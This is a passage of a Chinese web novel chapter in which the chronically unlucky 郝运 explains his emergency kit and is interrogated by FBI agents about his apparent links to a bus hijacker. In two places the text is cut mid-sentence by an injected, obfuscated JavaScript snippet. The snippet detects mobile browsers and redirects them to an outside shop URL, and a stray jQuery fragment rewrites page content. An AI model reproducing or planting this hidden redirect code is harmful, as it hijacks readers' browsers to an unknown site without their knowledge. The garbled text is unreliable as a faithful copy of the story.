格雷厄姆这下是真的疑惑了,这两件事能有什么关系? “那些其实都是我随身常带的,带习惯了就不觉得重。” “如果我没记错,里边有扳手、钳子、锉刀、防滑手套,止血贴、纱布、绷带、医用胶带、消毒药水、一次性手套、镊子、口罩、小剪刀,止疼药、抗生素,火柴、蜡烛、手电筒,暖手宝、雨披、防水袋、绳子、口哨——” 郝运很干脆地打断探长先生:“如果是为了应对随时可能发生的突发情况,及时自救呢?”要不是为了自证清白,他还真不想自爆糗事。 “……”格雷厄姆开始考虑,要不要换个人进来,换种方式重新开始。 “我这个人从小倒霉到大。几个月大的时候,吃奶差点呛死。六岁,掉下水道,差点淹死。考试成绩永远差一分及格,买橘子从来都是酸的。好好走在路上也能被人丢烟头、砸砖头,平地摔跤、吃饭噎住,电梯故障、交通事故。你能想到的倒霉事,还有你想不到的倒霉事,都在我身上发生过。” 格雷厄姆沉默了,理智上他不相信一个人可以倒霉到这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035263|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程度,情感上却忍不住相信郝运的话,多年经验告诉他——郝运并没有说假话。 “就像今天,上班第一天碰上劫车的炸/弹/犯,被迫当人质。刚坐上警车五分钟,车子抛锚。换到特警车上,吐了,还带着特警大哥们一起吐。”郝运摊开手,表示很无奈。“而我为什么能打败众多竞争对手,成为琼·安德森的助理记者,因为我面试的时候灵光一闪,告诉安德森女士,搞新闻就像是做菜,材料很重要,我可以弄到好材料。事实证明,倒霉到了一定程度,确实可以换种思路利用一下。”说到这里,郝运自嘲一笑,带着一种听天由命的苦中作乐。 格雷厄姆右手慢慢敲着桌面,神色不定道:“这样的体质,独自一人跑到异国他乡,很需要勇气。” 这句话翻译一下就是:为什么来美国?有什么不良企图?郝运在心里翻了个大大的白眼,身子却凑近,压低声音神秘兮兮道:“华国有一个特殊群体——算命先生,就像这边的巫女,探长先生有听说过吗?” 格雷厄姆点点头:“有所耳闻。” “我父母整天提心吊胆,生怕我长不大,甚至特意给我改名字,郝运在汉语中的谐音代表幸运。后来辗转请到一位算命先生,他说我的幸运之地在美国,到这里就有希望化解霉运。” 其实算命先生只是说郝运的好运在遥远的西方,并没有特别指明哪个地方。郝爸郝妈为什么拼死拼活非要把郝运送到美国,不过是觉得郝运生下来就没有过过一天太太平平的正常生活,既然出国才有希望,哪怕拼了老命,也要选最好的。当时赴美留学正热门,郝爸郝妈省吃俭用十多年,终于凑够学费。真的只是学费,郝运交完学费和第一年的膳宿费,兜比脸干净。之后几年的生活费,都是他想方设法自己挣的,艰辛归艰辛,细想想还蛮有趣的。 “看起来算命先生的话并不准确。” 郝运耸耸肩:“一半一半吧。虽然成绩不佳,但也没挂科。延迟一年毕业,好歹拿到了毕业证,最后又找到一份还算不错的工作。”郝运在这里读了六年书,第一年是预备班,第二年才算正式入学。至于延迟毕业,则是卡在论文答辩上,第一次系统故障,没报上名。其实来了也不是没有收获,只是不足为外人道。 “这么多年独自一人,一定很想父母吧?” “我也想回去。可是我父母生怕我回去小命不保,宁可远隔重洋,也不愿意我回去冒险。” 格雷厄姆表示理解,朝天花板上的探头瞄了一眼。两人又闲扯几句,有人敲门把格雷厄姆叫出去。 郝运明白,接下来就是真正的询问。 13. 第 13 章 果不其然,再进来的是一男一女。男探员神色冷峻,气场三米八。女探员不苟言笑,天然冷风机。两人看也不看郝运,径自在对面椅子上坐下。男探员把手里的资料翻得哗啦啦响,女探员摆好电脑坐正。 男探员公事公办,询问基本信息。问到年龄,抬头狠狠瞅了郝运两眼,低头反复看了好几遍资料,才作罢。 “知道为什么叫你过来吗?”压迫感十足的声音让询问室的气氛瞬间紧张。 “配合调查。”郝运没有一丝不耐烦的神色,就差把“积极”两字写在脸上。 “那就说说,你和弗兰克·罗恩怎么认识的?” 郝运满脸迷茫:“弗兰克·罗恩?” 男探员啪的把资料夹摔在桌上,双眼锁定郝运,手指在桌上笃笃笃敲着,一下又一下,敲得人心里发毛。 如果郝运只是个刚出校门的普通人,在这样的逼视和压迫下,心理防线恐怕蹦得差不多了。幸而郝运自小水里来火里去,大大小小的场面经历过不少次,别的不敢说,一颗小心脏磨练得极为硬挺。换种说法,就是抗压能力贼强。 不过,这时候不能太淡定。郝运小心翼翼挪挪屁股,直到身子紧紧贴着椅背,避无可避,弱弱道:“我该认识他吗?”问完双手紧紧抓着扶手。 “弗兰克·罗恩都承认了!” “承认什么?”郝运装糊涂。说得这么模棱两可,郝运赌一根辣条,对方绝对是在诈他。 “上帝的启示,你觉得FBI会相信这种鬼话?” “那只能说明你不是基督徒。”郝运一本正经绕圈子,生动演绎了什么叫抓不住重点。 男探员呼得起身,椅子发出一道长长的尖叫。他双手撑在桌上,朝郝运探过身,一字一顿道:“那你再说说,公交车上那么多空位你不坐,为什么偏偏坐在弗兰克·罗恩身边?” 郝运恍然大悟:“哦,原来劫车那家伙叫弗兰克·罗恩。”嗯,这个问题得好好想想怎么解释,弗兰克还因此误会他是警察来着。老天爷真是的,给他点亮新技能之前也不打声招呼,害得他两头应付。 “最后一排不用让座,可以安心补觉。”郝运用重重点头表示自己的理直气壮。 男探员动动嘴唇,却没说什么,一屁股坐回去,双手抱胸,靠在椅背上,冲旁边负责记录的女探员点点头。女探员调出几张视频截图,把电脑转向郝运。 这不是之前踩点,呸,才不是踩点,明明是为了上班不迟到,提前试乘测算时间,规划备选路线。郝运继续装茫然,猫儿眼发出无声的询问。可惜,对面的两位探员依据冷酷无情,完全没有一点融化的迹象。 “把中间这张放大。”男探员指着一个模糊的身影,大理石般冷酷的唇角勾起一抹玩味的笑。“还用我提醒这是谁吗?” 郝运起身凑近,眯着眼认了好大一会儿,猫儿眼一点点睁大。我去,这不是弗兰克?这会儿不亚于一道天雷迎头劈下,直劈得郝运外焦里嫩。画面里,两人都背着黑色双肩包,头戴鸭舌帽,正隔着参差的人头彼此凝望。郝运拼命在脑海里搜寻着,试图找出关于——在人从中看了你一眼——是在何时何地何种场景下发生。 凡事先不要慌。郝运非常确定以及肯定,在今天之前,他跟弗兰克绝对不认识,FBI查不到任何两人联系的证据。这张巧的不能再巧的隔空对视照,只能说明他俩在同一个地方同时出现,恰好又望向彼此的方向。弗兰克对他有没有印象,郝运不知道,但他对弗兰克没有任何记忆。或许弗兰克一开始那么坚定的认为他是警察,正是因为之前见过他的脸。 看截图,这是他家附近的公交站,他大概明白了……郝运心里有了数,恢复淡定,慢慢坐回原位。 “认出来就好,说说吧。”男探员显出几分胸有成竹的满意。 不好意思,让您失望了哎。郝运摊开手,一脸无辜:“我发誓,这纯粹是个巧合。” “你和弗兰克·罗恩上周一同时出现在一个公交站台,这周一同时上了一辆公交车。弗兰克·罗恩又点名要你老板做独家采访,而你又是车上最后一名人质。这难道都是巧合,嗯?!” 郝运频频点头,俨然一副——你怀疑得非常合理——的神气。 男探员不禁气笑了:“你最好好好解释一下这些巧合!” 郝运听出了话里浓浓的威胁,为了摆脱嫌疑,拿出最真诚的语气:“我担心上班第一天迟到,提前试乘,保险起见,特意选择同样的周一。很不赶巧,公交车故障,没办法启动,车上的乘客只好下车,等下一辆。弗兰克·罗恩既然计划那样的事情,提前勘察路线,也不是什么奇怪的事情。至于截图,只是隔着人群无意间的一眼对望。探员先生,您在人群中看了一眼一个无关紧要的陌生人,就能记住他吗?至于车子有没有抛锚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035264|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您只要给公车公司打通电话,就知道我有没有说谎。” “你说的,我们会查证。” 郝运点点头,继续道:“至于要我老板做独家采访,更准确的说,是我未来老板,大记者琼·安德森的大名,至少纽约相当一部分人听到就会头疼。如果我是弗兰克·罗恩,也会点名要安德森女士。探员先生,我完全理解您合理的怀疑,只是,如果没有这些巧合,结果会坏到什么程度呢?” 男探员紧紧盯着郝运的面部表情以及所有的小动作,沉默着没有回应这个反问。 郝运一脸坦荡无畏:“在今天之前,我不认识弗兰克·罗恩,您尽管去查。” “你包里的东西呢?西装、衬衣、皮鞋,甚至还有内裤、袜子,还有那些——” “探员先生。”郝运直接打断,“我知道,这些很容易被联想到用来换装逃跑。可是,这只是一个天生倒霉蛋的辛酸应急包。故事很长,您如果有时间,有兴趣,我可以从头给您讲一遍。” 男探员咳嗽一声:“据我们调查,你在上周接连五天分别乘坐公交、地铁、出租车,所有的行驶轨迹都经过布莱恩大厦。” “……”郝运双手抱头,无力道:“布莱恩大厦是我去公司的必经之地,如果我知道有今天,绝对会想方设法绕过它。探员先生,我只是想选条最优路线,顺便再做几个应急预案。您不知道,一个倒霉蛋能活到今天,有多艰辛!好不容易走一回狗屎运,找到一份还算不错的工作,现在看来,大概率也黄了。至于我的倒霉史,欢迎您随时随地调查。” 说到这里,郝运不禁心酸绝望起来。人倒霉也就算了,还得接受FBI紧追不放的盘问。明明他冒着生命危险做了一件大好事,他都没要求见义勇为奖,反而被警方怀疑动机不纯,简直是有冤无处诉,有苦说不出。委屈、气愤一股脑涌上来,也不知哪里来的勇气,一拍桌子,一不做二不休:“我现在就可以证明给你看,让你看看一个人究竟可以倒霉到什么程度!” “……”这下轮到男探员无语了。 一直坐着没说话的女探员心动了,一个人真的可以从小倒霉到大吗?即便倒霉,也是不可预料的意外,他怎么能这么信誓旦旦地要求证明呢?心随意动,不禁问出口:“怎么证明?” 郝运嘴角露出个略显诡异的微笑,猫儿眼更是闪着奇异的幽光:“探员小姐,可敢与我赌大小?”